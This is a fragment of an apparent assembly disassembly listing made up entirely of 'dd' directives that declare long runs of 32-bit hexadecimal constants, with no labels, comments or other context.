dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h
dd 0B0683CE4h, 647585h, 0B80A7320h, 55357469h, 0C305E901h
dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh
dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h
dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h
dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h
dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h
dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh
dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h
dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h
dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h
dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh
dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h
dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h
dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h
dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh
dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h
dd 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h
dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h
dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh
dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh
dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h
dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h
dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h
dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h
dd 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h
dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h
dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h
dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h
dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h
dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h
dd 91590FEh, 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h
dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h
dd 20048D0h, 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh
dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h
dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h
dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h
dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h
dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
dd 68518376h
dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh
dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh
dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h
dd 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h
dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h
dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh
dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh
dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh
dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h
dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh
dd 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h
dd 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h
dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h
dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h
dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch
dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh
dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh
dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h
dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch
dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh
dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h
dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h
dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h
dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h
dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh
dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch
dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh
dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h
dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h
dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch
dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh
dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh
dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh
dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h
dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h
dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h
dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h
dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h
dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h
dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h
dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh
dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh
dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h
dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh
dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h
dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
dd 522228DCh, 0A11392F0h
dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h
dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh
dd 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h
dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh
dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h
dd 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh
dd 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh
dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h
dd 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh
dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h
dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h
dd 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h
dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh
dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h
dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h
dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h
dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h
dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h
dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh
dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h
dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h
dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h
dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh
dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh
dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h
dd 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h
dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h
dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh
dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
dd 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h
dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h
dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h
dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h
dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h
dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h
dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh
dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h
dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh
dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh
dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh
dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h
dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h
dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h
dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh
dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah
dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h
dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h
dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
dd 96C0A938h
dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh
dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h
dd 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h
dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h
dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h
dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h
dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh
dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh
dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h
dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h
dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h
dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h
dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h
dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah
dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h
dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h
dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh
dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h
dd 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h
dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh
dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh
dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h
dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
dd 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h
dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h
dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h
dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h
dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
dd 3465401h, 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh
dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h
dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
dd 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h
dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h
dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
dd 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh
dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
dd 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h
dd 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh
dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h
dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h
dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh
dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h
dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h
dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h
dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h
dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h
dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
